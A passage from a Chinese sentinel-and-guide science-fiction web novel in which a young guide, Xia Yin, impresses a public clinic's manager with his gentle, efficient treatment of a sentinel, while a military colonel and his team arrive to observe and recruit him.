他转身走到门边，一边留意着中央的等候区，防止意外，一边点开终端，接通了霍克刚刚留下的通讯号。 通讯铃声响了一声便马上被接了起来，霍克的声音带着呼哧呼哧的喘息，背景音里，是各种杂乱的呼喊脚步声。 “喂？夏因向导？您有什么吩咐？” “霍克主管，”江寻的声音平稳，清晰的在霍克耳中响起，“我已经休息好了，我看B区候诊区里几位哨兵等待的时间已经不短了，有几人状况似乎不太好。可以帮我沟通一下吗？如果那位同僚不介意，或者手边忙不过来，我这边可以接手一部分病患。” “呃？”霍克的喘息声一顿，明显有些惊讶，他没想到江寻居然会主动提出这样的要求。 多一个B级向导帮忙当然是天大的好事！别看他一直在楼下忙碌，可他的心思一多半都悬在楼上这几位高阶哨兵身上。 楼下的状况虽然看起来忙乱，时不时就有一位哨兵失控，可他们的等级有限，凭借疏导所的护卫们还能应付得下来。可若是楼上的高阶哨兵出了问题，即便只有一人，也够这里所有人喝一壶了。 他的脑子开始飞快地转动起来，这位少爷是认真的？还是客套？或者在试探什么？他这么做有什么目的？能得到什么？ 数个念头在瞬息间掠过脑海，可只凭与对方短短的几分钟接触，他完全摸不透对方的心思。 他不敢主动让对方去处理那些棘手的哨兵，若是这中间出了什么差错，不管是哪一方出事，他都担待不起。可是，若说拒绝，他也不敢。对方是顶着医疗援助的名义过来的，不给对方安排工作，于情于理都说不过去。 “夏因向导，您……您太客气了……”霍克的声音带着明显的踌躇，这么短的时间内，他想不出能够两全其美的办法，“下面，呃……下面看着是乱了点，我们是人手有点紧，不是，我是说，呃……B区那边的罗纳德向导虽然速度慢了点，但是他经验非常丰富，而且一向稳妥。您，您初来乍到的，要不还是先熟悉熟悉环境？或者，您看您需要什么资料或者文件什么的，我让人给您送上去？” 霍克有些语无伦次地说着，但能明显听得出他的拒绝。 江寻不想和他兜圈子了，“霍克主管，”他打断了霍克委婉的拒绝，语气平和而肯定，“我这次来这里，不是来刷履历的，并不需要什么文件资料交差。我在圣所接受过系统的训练，也独立接诊过很多病人。” 江寻语速不快，尽量让对方听得清楚，感受到他的认真：“我只是觉得，以咱们疏导所的这个环境，让病患长时间的等待，实在不利于他们的状态稳定。当然，这只是我的一点建议，您才是疏导所的主管，一切以疏导所的规矩，和那位罗纳德向导的意见为主。如果真的不需要协助，那我服从您的安排。” 江寻把选择权抛回给了霍克，话语中遵守规矩的意思表达得清清楚楚，一点儿也没有施压的意思。还一语就说中了霍克目前最担心的情况，反而让他一开始的打算动摇了起来。 霍克心中天人交战，沉默了半晌，直到楼下又传来一阵尖叫和痛苦的嘶吼，终于一咬牙，下定了决心。 可同时，心里还存着一丝侥幸，这事怎么说都是他主动提的，若是，若是真的闹出了什么事，他也不能完全撒手不管吧？ “……好！好的！夏因向导，您稍等，我马上去征求下罗纳德向导的意见，麻烦您稍等一下！”既已有了决定，霍克的动作很快，挂断通讯之后，便一边擦着汗，一边喊着让一让，从楼下的人群中挤了出来。 江寻来到观察窗边，看向对面。 只听电梯“叮”一声响，一个身影便如风一般卷了出来。跑到那位罗纳德向导的诊疗室门口，霍克还停下整理了一下头发，这才敲了敲门，走了进去。 又过几分钟，门开了，霍克出现在了门口。脸上带着一种复杂的神情，有惶恐，有无奈，还有一丝豁出去了的决绝。 他不动声色地在候诊区中环视了一圈，这才拉过一个护士，低声交代了几句。 那护士听了霍克的话，惊讶地抬头向着江寻的方向看了一眼，点了点头，随即，便走到一位年轻的候诊哨兵身边，悄声说了些什么。 这位哨兵看着只有二十出头，一身制服整洁干净，看起来有个体面的职业。他面色苍白，额头上布满冷汗，眼睛里充满了痛苦，但目光却还算清明。如果江寻没看错的话，他的症状和等级，应该是B区候诊区里，最容易治疗的一位。 是的，他还没升到B级，这应该是一位C级巅峰即将升阶的哨兵。被安排到B区治疗，恐怕是因为花了大价钱，想要稳妥一些而已。 那哨兵听了护士的话，明显惊讶了一下，随即露出些兴奋，跟在护士身后，便来到了江寻的诊疗室前。 忐忑地敲了一下门，听到江寻的首肯，两人这才推门走了进来。 这护士刚才没见到江寻进来时的样子，此刻看到他如此年轻的面容，明显有些紧张脸红，声音都有些抖：“夏因先生，这位，这位是卢克先生，一位即将升阶的C级哨兵，轻度堕化28%，伴有间歇性的感官过载症状。霍克主管让我带他过来……” 她速度飞快地说完，又补充道：“霍克主管还说，他一会儿安排好楼下的事就上来，您这边……您这边是否能允许他在旁观摩一下，学习一下圣所的高阶疏导技巧？” 江寻心下了然，霍克还是有些不放心他。不过这样也好，让他亲眼看见了，之后自己行事也更方便。毕竟他还要在这里待三天。 点了点头，江寻温和地说道，“当然可以，就是我这里没有多余的椅子了，麻烦您等下再帮我搬一把进来吧。” 话落，向着护士点了点头，便看向了身边，一直局促不安地看着他的年轻哨兵，面上含笑语气温和：“卢克先生，不用紧张，请坐到这里吧。”他点了点自己对面那张高背软椅。 卢克看着江寻领口的B级盾徽，再看了看他的脸，吞了口唾沫。他刚才也瞥见了这位新来的B级向导，但没看清他的脸，没想到对方居然看着和自己差不多大。 他拘谨地依言坐下，双手有些无措地抓着膝盖，他还是第一次面对这么年轻的高阶向导。 江寻没有立刻开始疏导，而是先从放在诊疗桌上的平板中，调出疏导所的记录，快速浏览了一遍卢克的基本信息和以往的就诊记录。记录上详细记载了对方的病因与疏导史，江寻快速在心中过了一遍，暗自点了点头。 没什么特别的，就是普通的拟化次数过于频繁导致的短时间内堕化值快速上升，对于他来说，这种症状已经是非常简单的病例了。 这时，房门“咚咚咚”被敲响，霍克挤出个笑，满头大汗地跑了上来。见江寻已经开始了问询，没敢多话，安安静静地走到墙边的椅子上坐下，身子微微前倾，仔细盯着江寻的动作，手指不安地曲抓着，神色中带着些紧张，好像随时准备接手意外。 江寻没有特意解释什么，事实胜于雄辩，行动永远比言语更有力量。 心中确定了疏导方案，他看向卢克：“卢克先生，放轻松，什么也不用担心，我会引导你，为你好好梳理的。这个过程可能有点慢，但不会有什么不适感，如果你哪里觉得不舒服了，可以随时告诉我。” 他的语速很慢，语气温和平缓，带着一种特殊的安抚力量。 卢克明显是被江寻温和的叮嘱安抚住了，紧张的情绪慢慢平复下去，用力点了点头。 “请您给我一只手。”江寻掌心向上，平托在两人中间的诊疗桌上。 卢克有些脸红，但也知道这是非常正常的疏导过程，忙伸出手去，与江寻握在了一起。 江寻不再多言，眼睛微微下垂，面色沉静下来。 下一刻，一股极其精纯凝练的精神力细丝，便自他的掌心之中无声流淌了出来，顺着两人交握的双手，探入了卢克混乱的体内。 霍克的眼睛瞬间睁大！他惊讶的不是对方身为B级向导的庞大精神力，正好相反，他惊讶的是，对方居然能将如此少量的精神力凝聚成如此凝练的细丝！ 更令他惊讶的是，对方采用的居然不是效率最高的精神触须接触疏导，而是更加温和的浅层精神链接。 他不是没有见过B级向导出手，比如就在隔壁的罗纳德。但他们疏导起来，往往都是大开大合的，基本每次都会调动起大量的精神力一拥而上。 形式也基本都是接触疏导，只有遇到一些格外合他们胃口的年轻漂亮的哨兵，才会选择深层疏导的方式。 浅层疏导虽然消耗的精神力较少，但一来效果轻微，二来耗时较长，通常只有等级很低的向导，在不会其他技能时才会使用。他几乎没见过其他高级向导，在疏导时使用这个技能。 最令他惊讶的是，对方居然能把无形的精神力，凝练成头发丝一般的精神丝，这种控制力，需要海量的练习与实践，他从没在这么年轻的向导身上看到过！ 霍克的眼中浮现出惊喜，这……难道他真的没问题？ 开始疏导之后，江寻便没再去关注霍克的动静。 他的指尖搭在卢克的腕脉上，极其细微地弹动着，仿佛在拨动那几条自他的指尖穿入卢克体内的无形丝线。 在他的感应中，精神丝线顺着对方的身体脉络飞快流转了一圈，将对方体内所有细微之处都探看了个清清楚楚。 哪里拥堵，哪里的精神力被污染了，哪里又过于冰寒，在经脉中滞涩，在他的感应中一览无遗。 源头既已找到，那么解决起来就是非常简单的事情了。 江寻连一滴细汗都没有流出来，心念带领着精神丝在对方体内飞快地清理着污染，迅速将受损、紊乱的精神脉络拨回正轨。 卢克的身体，先是在江寻的精神力丝入体的时候微微一抖，随即便越来越放松，随着江寻的动作，他面上甚至渐渐浮起一个享受的微笑。 整个人从焦躁痛苦到舒适放松，中间的转变时间非常短暂，前后大概只有不到十分钟时间。 随着江寻的动作，卢克周身的精神力场也快速变化了起来。整个诊疗室，在很短的时间里，就陷入了一片宁和静谧的气氛中，房间里，只剩下卢克克制不住的细微呻|吟声，与霍克艰难吞咽唾沫的声音。 霍克在一旁看得屏住了呼吸，几乎不舍得眨眼。太快了！江寻的动作太快了！在他的感应中，这位B既向导的精神力丝几乎是一进入面前这位哨兵的体内，便飞速地在他经脉中流转了起来。 在他还没意识到发生了什么的时候，卢克经脉中的滞涩，竟然已经被化去了大半！ 霍克喉结滚动，不可置信地确认着自己的感应。 他见过罗纳德向导的疏导过程，一般情况下，他都喜欢使用精神触须来疏导。这种方式，对于接受的哨兵来说，刺激是非常大的，不论是痛苦还是快感，都会在疏导过程中被几十倍的放大。 当然，大多数时候，都是痛苦的，虽然过程快速，效果也立竿见影，但接受疏导的哨兵，往往都需要极度忍耐，结束后，自身精神力也会被消耗大半，常带着疲惫的虚脱感。 可眼前这个夏因，明明使用的是浅层疏导，速度却比接触疏导还要快！并且，对哨兵几乎没有刺激，效果却如此突出，还能让对方放松舒适到低|吟出声。 要知道，这样的效果，几乎只有互相绑定，情感联结非常紧密的哨向搭档才能做到！他究竟是怎么办到的？！ 终于，随着卢克的表情越来越享受，江寻指尖的动作也慢慢停了下来。下一刻，精神力丝崩散开来，化为纯净的精神力重归江寻体内，他轻轻呼出一口气，收回了手。 平复一□□内的力量，他这才看向卢克：“怎么样？感觉好点了吗？” 卢克如梦初醒般睁开眼，久违的清澈重回到了他的眼眸之中，十几分钟之前的压抑和痛苦几乎完全消失无踪。 他不可置信地抓握了一下拳头，又活动了一下肩胛和脖子，只感觉沉疴尽去，体内精神力汩汩欢快地流淌，全身前所未有的轻松！ “这……怎么会？！”他的眼睛瞪得很大，不可置信地看看自己活动流畅的四肢，看看面前的江寻，又扭头去看看坐在旁边伸着脖子看过来的霍克。 “嗯？怎么了？有哪里不舒服吗？”江寻稍一迟疑，仔细回忆着刚才的疏导过程，疑惑问道。 “不不不！”卢克猛得站了起来，一脸通红地连连摆手，“不是不舒服，是太舒服了！怎么会这么……”他的脸涨得通红，突然想起了自己刚才的反应，再看看面前这位温和俊美的高级向导，迟来的羞耻感冒出了头。 “不是，我是说，我是说以前我也接受过其他向导的疏导，这感觉，怎么完全不一样啊？”卢克紧张地解释着，又看了看自己已经恢复灵敏的双手，“这感觉，也不像是接受了一次普通的疏导，倒像是……倒像是被彻底净化了一样？” “那倒没有，”听到对方的回应，江寻放下心来，解释道：“可能是每个向导惯用的方式不一样吧？我没去圣所之前，都是自己摸索着乱来，已经习惯了自己的方式，所以和其他的向导们有些区别吧！” “完全净化也是不可能的，虽然你还没到B级，但是拟化程度已经很高了，精神图景内部已经受到了一定程度的污染损伤，只是现在程度较浅，你自己可能还感受不到。这里的问题，就不是我可以解决的了。” 江寻解释道：“我现在也只能帮你梳理净化图景外围的问题，根源问题，还是得等你找到了自己的专属向导之后，由他来帮你解决。” 见卢克没有其他问题了，江寻点了点头，打开平板，在记录板上快速写下今天的疏导记录，继续叮嘱道： “外围的污染源已经帮你清除了大半，但还有一些经脉、肌肉与精神海边缘的细微损伤和污染物残留，需要时间自愈。我给你开一些比较温和的辅助药剂，回去按时吃药，注意休息，一周之内避免高强度的感官刺激，两周之内避免频繁的拟化战斗。” “是！是！谢谢您！”卢克此刻看着江寻的目光已经满是信任，听着他的医嘱，连连点头，面上的感激之情溢于言表。 随后，又有些害羞地看了看江寻，又看了看坐在一旁的霍克，有些腼腆地问道：“那，那个……精神补偿呢？” 江寻温和一笑，轻轻摇了摇头：“不必，为你疏导并没有耗费我多少精神力，这种程度的话，自然恢复就好了。” “噢，好的……”卢克的脸红了起来，面上浮现出难以掩饰的遗憾之情。 坐在一边的霍克这才如梦初醒，猛得从椅子上蹦了起来—— 作者有话说：江江日常迷人！[让我康康] 第130章 霍克脚下生风， 几步冲到卢克面前，抄起江寻刚刚放下的平板看去。面前的记录表格上，清晰地记载着刚才疏导过程中的关键点和结果， 他快速地扫过， 又转头去仔细看了看卢克的状态。 表情轻松， 眼神清明，周身力场平和而稳定，以他的感应能力， 几乎看不到对方身上残留的任何污染痕迹， 江寻刚才所说的精神图景内部的损伤，此时根本无从察觉！ 这……这和理论上，只有绑定向导才能完成的“深度净化”几乎都没有多大差别了！更不要说，他的速度如此之快，看夏因的样子，连精神力都没消耗多少！ 这样的效果， 比罗纳德那个积年老手能做得还要高效利落， 这就是圣所高级研修班的实力吗？还是说……仅仅是他个人的实力？ 霍克猛地抬起头， 看向江寻的目光彻底变了。之前的惶恐忐忑，生怕对方搞出乱子的那点子想法， 消失的无影无踪。取而代之的，是毫不掩饰的震惊， 以及巨大的惊喜！ “夏……夏因向导！”霍克的声音激动得微微颤动，“您……您这手法， 简直是……”向来务实的他，一时竟找不到合适的词语去形容，只能搓着手，在原地不住地来回转圈， 脸上再无之前的讨好假笑，只剩发自内心的激动与惊喜。 “太好了！这效果，比我预想的好太多了！”霍克看向江寻的眼神，不仅仅因为他高超的技艺，更是因为，他这时终于确定，面前的人，不是来走个过场的花瓶，他似乎真的愿意在他们疏导所里出力干活！ 霍克的心脏砰砰直跳，以他的速度和精神力消耗量，若是愿意全力出手，那近期时间以来，那楼上楼下越积越多的病人岂不是…… 江寻将霍克的变化尽收眼底，却没有多说什么，他在比这里更偏僻的星域里呆了那么久，深知这些地方对于向导的需求有多么的迫切。 他平静地收拾好手上的平板，对着霍克微微一笑：“分内之事罢了，我来这里本就是来做这些的。霍克主管您看看，如果罗纳德向导那边忙不过来，或者还有什么紧急的病患，都可以送过来。” “好！好好！太好了！”霍克忙不迭地连连点头，脸上的褶子都笑开了花，此时哪里还有一丝刚开始时的回避？看着江寻简直像是捡到了一个宝贝。 他忙对着护士挥了挥手，“快，快带卢克先生去配药！然后……”他的声音顿了一下，带着一丝小心翼翼地试探问道，“夏因向导，您需要休息一下吗？您看……B区里还有几个情况比较紧急的，罗纳德那边一时也分不出手，您……您要是方便的话……” 江寻直接点了点头，这会儿时间还早，他剩余的精神力还多着呢：“我不必休息，主管看着安排就行。” “哎！好好！我马上去安排！”霍克喜笑颜开，转身就窜出了诊疗室，动作快得几乎不像个中年人，人都出去了，声音还远远的传进来，话语里满是雀跃：“莉莉？安娜？有谁在？快来快来！把这个送到夏因向导那里去！快！” 诊疗室里，小护士看着向来苦着个脸的上司那旋风般的背影目瞪口呆，而年轻的哨兵卢克，则感激地冲着江寻躬身一礼，这才跟着护士离开了。 江寻抬头望向观察窗，看着外面因为霍克突然的指令而短暂骚动起来的等候区，微微一笑。 * 第二日，科里亚星空港。 一艘刻印着第三军团徽记，通体银白的军用驱逐舰，从专用接驳口缓缓靠岸。 舱门“嗤”一声开启，几名身材笔挺的年轻人鱼贯而出。有些奇怪的是，他们明明乘坐的是军用舰艇，一举一动也透着军人气质，却个个一身便装，显得有些不伦不类。 为首的人看着三十岁上下，面容轮廓分明，眼神沉静锐利，神色严肃认真，走起路来脊背挺直，利落干脆，通身一股久经战场磨砺出来的铁血气质，正是第三军团精英团长，斯通上校。 他身后跟着的几人，年纪有大有小，但最大的看着也不超过三十五岁，都处于男人的黄金年龄，周身洋溢着勃勃生气。 这几人行止间便没有斯通那般规整了，虽然竭力在团长面前保持着严整的形象，但眼神中却难掩好奇与兴致勃勃。 “这里就是科里亚星啊！”一个脸上带着道浅浅疤痕，身材壮硕的大块头，不住地扭头看着身边来来往往的人流，憨憨说道，“真热闹啊！” “不愧是商业星球，这人可真多。”旁边一个看着精神头十足的年轻小子，侧了侧身，避过一个扛着大箱子歪过来的搬运工，忍不住咂舌，“那个夏因向导就是在这里做任务的？那感觉有点够呛啊，这种地方的公共疏导所，那不得挤得跟沙丁鱼似得？” “二号……二号疏导所，啊，在这里！”旁边，一个戴着眼镜，看起来斯斯文文的青年，推了推眼镜，把腕上光屏中显示出来的定位信息展示给同伴，“好像不太远，不过这面积好大……看样子这里的工作不好干啊！” “摩尔根这主意……唉！当时应该拦着点的，把人家这高级研修班的精英人才弄到了这种地方，这不是存心给人找不痛快吗？”又一个面容看起来十分和善的男子说道，“万一那位夏因向导知道我们在背后掺和了一手，记恨上咱们团长……”他语气中带着明显的忧虑。 “是啊头儿，”另一个小个子娃娃脸的大男孩也凑上来小声嘀咕，“咱们又不是不知道那些公共疏导所都是什么样的，不光活儿多，还动不动就有人失控，那些在那儿工作的高级向导，一个个本事不大，脾气还都跟大爷似的，把人家一个年纪轻轻的向导弄到这种地方来支援，哪还有心情和咱们团长相看啊？” “哎哎哎！你们这时候把锅都甩我头上啊！”一头硬直短发的摩尔根不干了，打断道，“当初你们可都是同意了的！谁说想一起看看这个向导的来着？有本事你们现在回去，就让我和上校一起去！” 几人忙不迭地拒绝反口，打打闹闹了起来。 斯通脚步沉稳地走在最前面，听着身后下属们的议论，眉头微蹙了起来。 当初默许了摩尔根的小动作，未尝没有自己的私心。 军部是最需要高级向导的地方，特别是像夏因这样现成的系统学习过高阶知识的向导。他手下的各个精英战斗小队，连每队一个向导的配额都达不到，总是几个小队共用一个向导治疗。 可每年从塔中毕业，来军部就职的向导，数量少之又少。 他知道这是理所当然的事，来军部任职，又苦又累还时时都面临着生命的危险，收益和社会地位，远不如去塔中任职或者直接与世家子弟绑定，加入家族。如果有选择的话，别人当然会选择对自己来说更好的未来。 可是，斯通看看身后这些活力十足的下属们，他们为了联盟流血流泪，理应获得更好的生活，最起码，他希望他的战友们，不要时时刻刻都担忧着自己会不会在下一刻就彻底堕化成野兽。 因为这些，他才被军团长说动，来尝试争取一下那位年轻的高级向导。 但是，此刻听着下属们的议论，看着周遭这复杂纷乱的环境，他还是在心中升起了一些愧疚。 “行了，少说两句吧。”斯通的声音不高，但长久以来的威严，瞬间让身后的打闹声低了下去，“既然来了，就去看看。如果真的能让他来军部，那到时候，他也就是为你们疏导的向导了，早点熟悉下也好。注意言行，别让他看出来你们的身份，丢第三军团的脸。” 斯通没有回头，但话里的意思，还是让身后的几个下属缩了缩脖子，互相看了看，做了个鬼脸，安静了下来。 早上的科里亚，人流量很大，道路也十分拥堵，他们一行人花了些时间，这才抵达了二号公共疏导所所在的街道。 因为疏导所特殊的地位，它的周边没有什么其他的建筑，孤零零一个单独伫立在一片空地中。 几人远远看着街道尽头的建筑，纷纷皱起了眉头，隔着这么远的距离，他们都已经感应到了空气中，那混乱驳杂的精神力场波动。 “啧，看着就够乱的。”娃娃脸小声嘟囔了一句。 一行人顺着道路越走越近，身边不时还会出现几个气息晦涩的哨兵与他们同向而行。 可越是走近，几人脸上的表情越发古怪。 这疏导所……好像有些不对劲。 顺着疏导所的大门看进去，里面明明人头攒动，也不停的有新的哨兵进门，可他们预想中那种人挤着人，哭喊嘶嚎的混乱场景却并未出现。整个大厅里，弥漫着一种奇异的安宁气氛。 斯通的脚步慢了下来，身后的下属们也如有所觉地察觉到了异常，纷纷挺着脖子，好奇地探头向里张望。 和他们刚才远远看到的一样，大厅里确实坐满了人。 穿着各种服饰的哨兵们，几乎占满了所有长椅和空地，连墙边、角落里都倚靠着不少人。 空气里气味驳杂，气场混乱，每个人的脸上都带着压抑的痛苦。 但是……很奇怪，这里好像没有那些歇斯底里的吼叫，没有人失控地胡乱攻击，没有护士声嘶力竭地奔跑呼唤，没有那种他们习以为常的崩溃绝望。 虽然人数众多，但大部分人都安安静静地坐着，亦或听从着护士们的指挥挪动着步伐。 有的人在闭目养神，有的在小声交谈，有的在吃着东西，甚至还有抱着光屏看个不停，“咯咯咯”发出短促笑声的。 所有的人，虽然脸上都带着他们熟悉的焦灼与痛苦，眼神中却少了那种看不到未来的绝望感，多了一种……微妙的希望。 “这里好怪……”瘦高的眼镜男摘下眼镜擦了擦，又重新戴起看向大厅，白净的脸上满是困惑，“这……这跟咱们以前去的公共疏导所，好像不太一样啊？” “对啊，这还是公共疏导所吗？”大块头迷茫地挠了挠头，他印象里的公共疏导所，一直都像个战场上的急救站似得，又挤又乱，充斥着痛苦、血泊与脏污。 “对啊，而且你们看，是不是……”娃娃脸瞪大了眼睛，不住地左右扭头观察，有些迟疑地接着说道，“是不是没什么急症重症啊？至少没看到被捆起来抬进去的。” 正说着，便听到一个音量颇大的嗓门在人群中响起，声音里，透着些奇怪的亢奋： “快快快！那边那个，对，就是刚刚躺着进来的那个！他不行了，给他加个号，直接送到夏因向导那边去！快！动作麻利点！” 众人循声望去，只见一个不修边幅的中年男人，正站在一楼通往二楼的楼梯口上，居高临下地指着一个刚刚被护工用转运床推进来的，抱着头不住抽搐的哨兵，对着护士大声指挥着。 他的脸上满是胡茬，眼中布满了红血丝，眼下还挂着大大两个黑眼圈，可神情，却洋溢着一种奇异的亢奋。两只眼睛炯炯有神，脸颊上浮起兴奋的红光，指挥起来声音虽然很急，却毫无焦躁之意，整个人都显得精神抖擞。 “这是……这里的主管吧？”摩尔根眯起眼睛，看向中年人胸前别着的名牌，“他刚才说的是……夏因向导？” 摩尔根和同伴们交换了一个惊讶的眼神。这位不就是在他们的推波助澜之下，被发配到这里来的那位吗？听这主管的意思，他才来了一天，怎么好像……还挺受器重的？ 斯通的目光也锐利地投向了霍克，随即，又随着那个被好几人推着的转运床，慢慢向上平移，定在了四楼的方向。 “麻烦问一下，”戴着眼镜的瘦高男反应最快，立刻拉住了旁边路过的一名看起来状态还算稳定，一身工装制服的中年哨兵，脸上带着礼貌和好奇，“我们刚刚登陆，想要过来找人疏导一下。咱们这疏导所是出了什么事了？怎么看着……”他环顾了一圈，示意道，“和别的地方不一样呢？” “对啊对啊！”精神小子接话，“刚才听那位主管提到有位夏因向导？他是什么人啊？该不会，和他有关系吧？” 那中年哨兵被一个陌生人突然抓住，原本有些不耐烦，可见对方态度客气，言语之中，又提到了夏因向导，马上便收敛了情绪，脸上甚至露出一丝与有荣焉的笑容来：“嘿，兄弟，你们刚登陆啊？那不知道也正常！哈哈！你们也看出我们这里的不同了吧？这可都是多亏了夏因向导啊！” 他的声音不大，但语气里充满了兴奋：“嘿，你们可知道这个夏因向导是什么来历？” 他的声音压低，话说得神神秘秘，见面前的众人摇了摇头，才得意地说道：“人家可不是普通人！是从圣所来的高阶向导！听说是什么高级……”他苦思冥想了半天，没记得起来那个名字。 “高级研修班？”娃娃脸性急地提醒道。 “对对对！就是高级研修班！他可是从圣所的高级研修班过来的向导！今年才二十多岁，都已经是B级了！而且呀……”中年男人特意凑近，分享秘密一般小声说道，“听说他在圣所那边也是个有名的厉害人物呢！这回也是因为被奸人陷害，才被发配来了我们科里亚星！” “奸人”摩尔根尴尬地摸摸鼻子，没有说话。 “你们知道他什么时候来的吗？就昨天！昨天才来！一开始霍克主管还不相信人家呢！”男子向着霍克的方向努了努嘴，“把人家晾在那里大半天，结果你们猜怎么着？” 他卖了个关子，见众人都被他吸引了注意力，这才带着些激动说道：“人家那本事，绝了！甭管你是快要堕化的急症重症，还是什么B级高阶哨兵，只要送到他那儿，嘿！立马就给你救回来咯！那是又快又稳绝不含糊的呀！” “就昨天一下午，你们知道救回来了多少人吗？光是那些上四楼的大人物，就至少这个数！”中年男人五指张开，在众人面前摇了摇。“其他那些C级、D级的，更是数都数不过来了，我看少说有十几二十个！” “看见没？那边的霍克主管，昨天以前还愁得天天在楼下打转，头发都快掉光了！看他今天这嗓门儿，这精神头！为啥？还不是因为有人给他兜底了！夏因向导什么都能治，人家还不挑活儿！那么大一个B级向导，什么等级都愿意出手！而且人家那效果，啧啧……” 他竖起了大拇指，笑得不见眼，“比咱们楼上那位干了十几年的老手还要强！听说人家不光疏导效果超群，手法还特别温和，进去接受疏导的人，一个个出来的时候都享受得不得了，不像以前，疏导一次跟打了一架似的。” 众人越听越惊讶，听到这里的时候，已经有人忍不住低呼了出来。 “真的假的？”精神小子听得入迷，一脸难以置信。 他们原以为那个圣所来的小向导会不适应这里的环境，有怨气。根本没想到，人家不光自身本事厉害，性子还不像中央星大多数高阶向导那样高傲，连低级哨兵都肯出手，效率还这么高！ 一下午，光B级哨兵就最少五个，低级哨兵更是疏导了十几二十个？那就算他中间不休息，平均每人也就十几分钟？这是个什么速度？ 娃娃脸等人面面相觑，他们完全没料到，这人居然靠着自己，一下午时间就站稳了脚跟。这跟他们预想中的画面完全不一样啊！ 见众人似有不信，中年哨兵有点不高兴了，“嘿！我骗你们干啥？！”他手指点向周围，“你们看看这大厅！为啥今天大家都这么安静不急了？也没人失控闹腾了？还不是因为那些重症都被夏因向导治好了！大家都有盼头了！” “你们的运气也是真的好，刚好这时候来了我们疏导所。”中年男子咂了咂嘴，感觉意犹未尽，“从昨天晚上开始消息就传开了，有好多在其他疏导所排队排到绝望的，还有那些已经觉得自己没希望了，打算硬扛等死的，听说咱们这儿来了这么个厉害的人物，今天全都在往这儿赶呢！” “我家隔壁那个老杰克，带着他那个快堕化的儿子，今年都不知道跑了多少地方了，到处都说没得治了，本来都放弃回家了。昨晚上一听咱们这儿来了个这么厉害的向导，赶紧就往这边跑，今早上搭最早的一班星舰，从隔壁星系赶过来了！” “喏，你看，那个就是！”中年哨兵下巴一抬，指了指侧方，正跟在护士后面，向药房走去的一位年轻人。 “他？”摩尔根看了看那个喜笑颜开，一路走一路不停在自己身上摸来摸去的年轻人，不可置信地说：“快堕化的？” “那可不！”中年男子得意地一颔首。 他的话音刚落，仿佛就是为了印证他的话似的，疏导所的大门突然“砰”一声被人撞开，两个壮汉小心翼翼地架着一位走在他们中间的，眼神已经涣散开来的白发哨兵冲了进来，一边跑一边大声叫喊：“医生！医生！快！我爹快不行了，快救救他！” 霍克一眼看到已经失去了意识的来人，马上冲了过来，手下迅速翻看对方的眼皮检查了一番，利落地大手一挥：“快！送上楼去！夏因向导那里！动作快！” 随着车轱辘声急响，护工们速度飞快地把人抬上了转运床，推着就往电梯间那边冲。 斯通一行人站在原地，带着疑惑、不可思议、甚至怀疑的眼神，环视着大厅，一时之间都陷入了沉默。 斯通深邃的目光盯着四楼外墙，仿佛想要穿透两人之间的重重阻碍，看到那个年轻的身影。 他的脑海里不由自主地浮现出那天在灵枢大厅中见到过的那个年轻人，眼眸深处，翻涌起前所未有的好奇与探究。 这个夏因……似乎和他们所有人预想的，都不一样。如果他们所说都是真的，那么，他便比他见过的任何高级向导，都更适合他们军部！ “头儿……”摩尔根双眸发亮，声音里带着一丝不易察觉的激动，“我们也上去看看？” 斯通回过头，看了一眼身边这群面带探究与期待的下属们，点了点头。 “走！”随即，他率先迈步，向着电梯的方向走去。 身后的下属们面色兴奋地对视一眼，立刻跟了上去，脚下的步伐都加快了几分。 他们现在无比好奇，这个能凭一己之力，在这么短的时间内，就让整个公共疏导所都焕然一新的高级向导，究竟是个什么样子。《 》 130-135 第131章 斯通一行人眼见着几个护士推着转运床进了电梯， 也没有和病人去挤，而是让摩尔根先去登记缴费处，为他们每人预约购买了一次B级的精神疏导服务， 这才乘坐着再次返回的电梯， 登上了四楼。 电梯平稳上行， 金属门无声滑开，露出了四楼B区相较楼下几层安静得多的空间。 斯通率先迈步而出，几个下属跟随在后， 一踏入等候区， 几人好奇的目光便开始四下扫视起来。 相较于楼下的拥挤，这里的候诊区光线明亮，空间宽敞，显得舒适得多。靠墙立着几架零食与饮料的自动售货机，壁挂的空气交换机，微风吹拂， 不停提供着温度适宜的新鲜空气。 最中央的墙壁最上方， 悬挂着一个壁挂式光屏， 滚动显示着当前的疏导进度与号码。 柔和的灯光下，几名衣着体面， 气场强大，但气息却有些驳杂晦涩的哨兵， 闻声望了过来。 斯通不动声色地回视了回去，身上威压一闪而逝。感受到来人身上的气息， 大部分人都不动声色地收回了视线。两三个衣着更加华贵一些的，不屑地撇了撇嘴。唯有一位身上气息最为幽邃，与斯通几人气质最为相似的中年人，对着他们友好地点了点头。 斯通颔首回礼， 随即，目光就顺着前方快速奔跑的护士，移向了左侧的诊疗室。 房门在几声敲门声后被打开，门后现出一个年轻男人的侧影。 一身普通的深色常服，干净利落的侧脸线条下，是挺拔矫健的身姿。他微微低下头，一边听着护士的汇报，一边快速上手检查病床上的患者，而后，迅速在手中的平板上记录着什么。 午后的阳光透过窗棂洒落在他的身上，勾勒出一个沉静而专注的侧影。正是那天在灵枢中心看到过的那位年轻向导，夏因。 很快，转运床被推进了夏因的诊疗室，房门重新关上，斯通看了眼时钟，转身，给身后的下属们递了一个眼色，众人便各自分散，坐了下来。 这么多明显精神状态不太好的高阶哨兵共处一室，却有着一种奇异的平衡。空气里弥漫着的精神力场虽然依旧紧绷，却少了几分狂躁，多了几分克制忍耐。 斯通不动声色地观察着等候区两侧唯二亮着灯的诊疗室。 夏因所在的左侧的那间，房门紧闭着，良好的隔音效果下，听不到房间里的任何动静。 门口挂着的电子屏上，中央显示着“夏因-疏导中”的字样。下方，是一串不断跳动着来回循环的排队号码。斯通数了一下，自己一行人已经排到了将近二十号之后。 右侧那间房门开着一条缝隙，而门口的电子屏上则显示着“罗纳德-休息中”，下面的排队号码寥寥无几。 就在这时，右侧标注着罗纳德向导的诊疗室，房门“咔哒”一声打开了。一个头发半白，面上已经有了许多褶子，眼袋沉重的中年男人一手推门，出现在了门内。正是这里的另一位资深B级向导，罗纳德。 即使已经休息了十分钟，罗纳德的脸上还是带着明显的疲惫。 看到中央候诊区里，安静坐着的二十多号人，他先是一下子皱起了眉头，又像是想起了什么似的，看向自己门口的电子屏。 待看到上面寥寥的几个号码后，脸色比刚才更难看地沉了下来，鼻子里发出一声冷哼。 